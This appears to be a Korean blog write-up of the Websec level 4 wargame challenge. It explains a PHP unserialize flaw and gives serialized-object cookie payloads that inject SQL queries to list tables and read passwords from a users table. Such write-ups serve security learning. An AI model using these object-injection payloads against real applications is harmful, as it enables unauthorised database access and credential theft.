Websec - level 4

 

 

 

문제를 보면 ip를 이용하여 leet_hax0r에 쿠키값을 저장하고,

입력한 id를 query id에 추가되어 sql객체에 query 데이터로 할당되면서

소멸자가 실행될 때 쿼리가 실행되면서 username의 결과 값이 나오게 된다.

 

 


 

이 문제를 보면 serialize를 이용하여 쿠키에 저장하고 unserialize를 통해 값을 확인한다.

unserialize 취약점을 통해 query를 조작하여 우리가 원하는 정보를 테이블로 부터 얻어내어 이 문제를 해결할 수있다.

 

 

query를 조작하기 위해 sql Object를 serialize한 값을 쿠키 값으로 전달 해 준다.

 

leet_hax0r : O:3:"sql":1:{s:5:"query";s:61:"select name as username from sqlite_master where type='table'";}O:3:"sql":1:{s:5:"query";s:64:"select sql as username from sqlite_master where tbl_name='users'";}

base64 encode하여 쿠키 값을 전달하면 된다.

 

 

코드를 보면 users라는 테이블 명은 이미 알고있고, users의 정보를 얻기 위해 쿼리를 만들었다.

출력에서 테이블의 username을 출력하기 때문에 alias를 사용하여 query를 전송하면된다.

 

 

 

 

 

그러면 결과 값으로 users테이블은 id와 username password로 이루어져 있음을 알 수 있고

password 값을 한번 찾아보면

 

 

leet_hax0r : O:3:"sql":1:{s:5:"query";s:38:"select password as username from users";}

 

 

 

답을 구할 수 있다☆

'Web hacking > Websec' 카테고리의 다른 글

Websec - level 22  (0) 2020.02.22
Websec - level 14  (0) 2020.02.19
Websec - level 17  (0) 2020.01.05
Websec - level 2  (0) 2019.12.30
Websec - level 1  (0) 2019.12.30

+ Recent posts